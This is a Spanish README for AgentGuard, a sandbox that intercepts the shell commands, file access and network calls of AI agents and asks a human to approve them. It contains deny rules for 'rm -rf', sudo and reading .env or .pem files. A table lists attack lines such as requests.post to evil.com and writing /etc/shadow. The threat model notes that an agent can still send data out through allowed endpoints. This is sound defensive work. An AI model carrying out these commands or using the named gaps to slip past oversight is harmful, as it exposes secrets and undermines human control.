thodoristsampouris/agentguardSandbox de confianza cero para agentes de IA con jaula de sistema de archivos a nivel de kernel, proxy de red transparente y motor de políticas basado en YAML para interceptar y controlar comandos de shell, operaciones de archivos y solicitudes de red.
Sandbox de confianza cero para agentes de IA autónomos.
AgentGuard envuelve cualquier agente de IA (LangChain, CrewAI, AutoGen, scripts personalizados) con barreras de seguridad. Con un solo cambio en el comando:
# Antes (peligroso — el agente tiene acceso completo al sistema)
python my_agent.py
# Después (sandbox)
agentguard run -- python my_agent.py
AgentGuard intercepta cada comando de shell, modificación de archivo y solicitud de red que realiza el agente. Las acciones seguras se permiten automáticamente, las peligrosas se bloquean automáticamente y todo lo demás solicita la aprobación humana.
AgentGuard tiene cuatro capas de defensa que trabajan juntas:
┌─────────────────────────────────────────────────────────────┐
│ Capa 0: Jaula de sistema de archivos (sandbox-exec en macOS)│
│ Aplicación a nivel de kernel. Restringe escrituras de │
│ archivos y red a nivel de syscall. El agente no puede │
│ eludir desde el espacio de usuario. Bloquea open() de │
│ Python, requests.post(), etc. │
├─────────────────────────────────────────────────────────────┤
│ Capa 1: Proxy de red │
│ Proxy HTTP/HTTPS transparente. Cada llamada de red que │
│ hace el agente se verifica contra la política. Permitir/ │
│ denegar por destino con visibilidad total en la TUI. │
├─────────────────────────────────────────────────────────────┤
│ Capa 2: Shims de PATH │
│ Shims de script de shell que interceptan comandos como │
│ git, pip, curl, rm. Cada shim pregunta al daemon por │
│ permiso antes de ejecutar el binario real. │
├─────────────────────────────────────────────────────────────┤
│ Capa 3: Motor de políticas + Daemon de aprobación │
│ Reglas basadas en YAML evalúan cada acción interceptada. │
│ Permitir automáticamente comandos seguros, bloquear │
│ automáticamente los peligrosos, solicitar al humano │
│ para todo lo demás. │
└─────────────────────────────────────────────────────────────┘
Ninguna capa por sí sola es el límite de seguridad. Trabajan juntas: defensa en profundidad.
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
Ambos binarios deben estar en el mismo directorio.
agentguard init
Esto crea .agentguard/policy.yaml en el directorio actual. Edítalo para adaptarlo a tus necesidades.
agentguard run -- python my_agent.py
La TUI toma el control de la terminal y muestra:
Para herramientas interactivas como Claude Code que necesitan la terminal:
agentguard run --headless -- claude
El agente obtiene la terminal directamente. AgentGuard se ejecuta silenciosamente en segundo plano. Todos los eventos se registran en ~/.agentguard/logs/headless.log. Monitorea en otra terminal:
tail -f ~/.agentguard/logs/headless.log
agentguard run [flags] -- <command> [args...]
--policy <path> Usar un archivo de política específico
--headless Sin TUI — el agente obtiene la terminal
--default-allow Auto-permitir decisiones PROMPT en modo headless (por defecto: auto-denegar)
--no-sandbox Deshabilitar sandbox-exec (shims y proxy siguen activos)
agentguard init Crear un archivo de política predeterminado
agentguard version Mostrar versión
Las políticas son archivos YAML que definen lo que el agente puede y no puede hacer. AgentGuard verifica tres ubicaciones (en orden):
./.agentguard/policy.yaml (local del proyecto)~/.agentguard/policy.yaml (global del usuario)version: 1
deny:
# Bloquear comandos peligrosos
- command: "rm"
args: "-rf *"
reason: "La eliminación recursiva forzada es demasiado peligrosa"
- command: "sudo"
args: "*"
reason: "No se permite la escalada de privilegios"
- command: "chmod"
args: "777 *"
reason: "Los permisos de escritura mundial son peligrosos"
# Bloquear lectura de archivos sensibles (aplicado por sandbox-exec)
- file:
path: "*.env"
action: "read"
reason: "No permitir que el agente lea archivos .env"
- file:
path: "*.pem"
action: "read"
reason: "No permitir que el agente lea claves privadas"
allow:
# Comandos seguros de solo lectura
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# Git de solo lectura
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# Permitir escrituras en el espacio de trabajo
- file:
path: "/tmp/workspace/**"
action: "write"
# Permitir endpoints de API específicos
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
deny network *) — se verifican en tercer lugar. Actúan como una denegación predeterminada.Reglas de comando — coinciden con comandos de shell por nombre y patrón de argumentos:
- command: "git"
args: "push *"
reason: "Hacer push requiere aprobación"
Reglas de archivo — coinciden con operaciones de archivos (aplicadas por sandbox-exec):
- file:
path: "*.env"
action: "read" # "read" o "write"
reason: "Proteger secretos"
Reglas de red — coinciden con destinos de red (aplicadas por proxy + sandbox-exec):
- network:
destination: "api.anthropic.com:443"
Usa * como comodín en args de comandos, rutas de archivos y destinos de red.
| Tecla | Acción | Cuándo |
|---|---|---|
Y | Permitir la solicitud pendiente | Solicitud de aprobación visible |
N | Denegar la solicitud pendiente | Solicitud de aprobación visible |
A | Permitir y recordar para esta sesión ("Permitir siempre") | Solicitud de aprobación visible |
B | Denegar y recordar para esta sesión ("Bloquear para siempre") | Solicitud de aprobación visible |
Tab | Alternar panel de stdout/stderr del agente | Siempre |
Arriba/Abajo | Desplazar flujo de actividad | Siempre |
Q | Salir (mata el agente) | Siempre |
| Acción del agente | Shims | Proxy | sandbox-exec |
|---|---|---|---|
subprocess.run(["rm", "-rf", "/"]) | Sí | - | - |
subprocess.run(["git", "push"]) | Sí | - | - |
requests.post("https://evil.com") | - | Sí | Sí |
urllib.request.urlopen("https://api.com") | - | Sí | Sí |
open(".env", "r") | - | - | Sí |
open("/etc/shadow", "w") | - | - | Sí |
/usr/bin/curl https://evil.com (ruta absoluta) | - | Sí | Sí |
agentguard/
├── cmd/
│ ├── agentguard/ # Binario principal de CLI
│ └── agentguard-check/ # Binario auxiliar de shim
├── internal/
│ ├── policy/ # Motor de políticas (análisis YAML, evaluación de reglas)
│ ├── events/ # Sistema de eventos (registro de auditoría JSONL, pub/sub)
│ ├── daemon/ # Daemon central (socket Unix, cola de aprobación)
│ │ └── client/ # Biblioteca de cliente para shims
│ ├── shim/ # Generador de shim (intercepción basada en PATH)
│ ├── proxy/ # Proxy de red transparente
│ ├── spawner/ # Orquestación + integración con sandbox de macOS
│ └── ui/tui/ # Interfaz de terminal (Bubble Tea)
├── configs/
│ └── default_policy.yaml # Archivo de política de referencia
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
| Componente | Paquete | Propósito |
|---|---|---|
| Motor de políticas | internal/policy | Analiza reglas YAML, evalúa solicitudes → PERMITIR / DENEGAR / PREGUNTAR |
| Sistema de eventos | internal/events | Registro de auditoría JSONL de solo añadir + pub/sub en tiempo real para la TUI |
| Daemon | internal/daemon | Servidor de socket Unix, cola de aprobación con tiempos de espera, gestión de sesiones |
| TUI | internal/ui/tui | Interfaz de terminal Bubble Tea con flujo de actividad y modal de aprobación |
| Generador de shim | internal/shim | Genera shims de script de shell, resuelve rutas de binarios reales |
| Proxy de red | internal/proxy | Proxy HTTP/HTTPS transparente que aplica política por destino |
| Spawner | internal/spawner | Orquesta todo: política → daemon → shims → proxy → sandbox → agente → TUI |
| Sandbox de macOS | internal/spawner/jail_darwin.go | sandbox-exec con perfiles Seatbelt para aplicación a nivel de kernel |
Cada acción interceptada se registra en ~/.agentguard/logs/YYYY-MM-DD.jsonl:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
Consulta con herramientas estándar:
# Todas las acciones denegadas hoy
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# Todas las solicitudes de red
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# Comandos que requirieron aprobación humana
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
| Plataforma | Shims | Proxy | sandbox-exec | Denegación de lectura de archivos |
|---|---|---|---|---|
| macOS (Apple Silicon) | Sí | Sí | Sí | Sí |
| macOS (Intel) | Sí | Sí | Sí | Sí |
| Linux | Sí | Sí | No (futuro: namespaces + seccomp) | No |
| Windows | Sí | Sí | No (futuro: Job Objects) | No |
Modelo de amenaza: El agente no es de confianza. Puede intentar:
rm -rf /, sudo).env, claves privadas)Lo que AgentGuard previene:
.env, .pem, etc.)filepath.CleanLo que AgentGuard NO previene (limitaciones conocidas):
ctypes/cffi (sandbox-exec también las bloquea en macOS)api.anthropic.com, el agente puede enviar datos allí)go test ./... -race
El proyecto tiene más de 140 pruebas que cubren:
jail_darwin.go — sandbox-exec de macOS (compilado solo en macOS)jail_noop.go — modo de solo shim de respaldo (compilado en Linux/Windows)sandbox_monitor_darwin.go — seguimiento del registro del sistema de macOS para violaciones de sandboxsandbox_monitor_noop.go — no-op en plataformas que no sean macOSVer LICENSE.